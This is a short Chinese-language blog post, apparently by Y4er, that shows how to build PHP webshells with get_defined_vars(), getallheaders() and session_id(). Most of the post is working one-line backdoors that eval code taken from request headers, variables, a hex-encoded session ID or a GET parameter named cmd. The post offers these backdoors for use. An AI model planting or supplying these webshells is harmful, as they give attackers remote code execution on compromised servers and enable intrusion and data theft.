get_defined_vars()
、getallheaders()
是两个特性函数,我们可以通过这两个函数来构造我们的webshell。 <!–more–>
环境 | 函数 | 用法 |
---|---|---|
nginx | get_defined_vars() |
返回由所有已定义变量所组成的数组 |
apache | getallheaders() |
获取全部 HTTP 请求头信息 |
apache环境
<?php eval(next(getallheaders())); ?>
apache和nginx环境通用
<?php eval(implode(reset(get_defined_vars()))); ?>
另外一种通过执行伪造的sessionid值,进行任意代码执行。
<?php eval(hex2bin(session_id(session_start()))); ?>
706870696e666f28293b
这个是phpinfo();
的hex编码。
给shell加密码
<?php eval(get_defined_vars()['_GET']['cmd']);?>
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er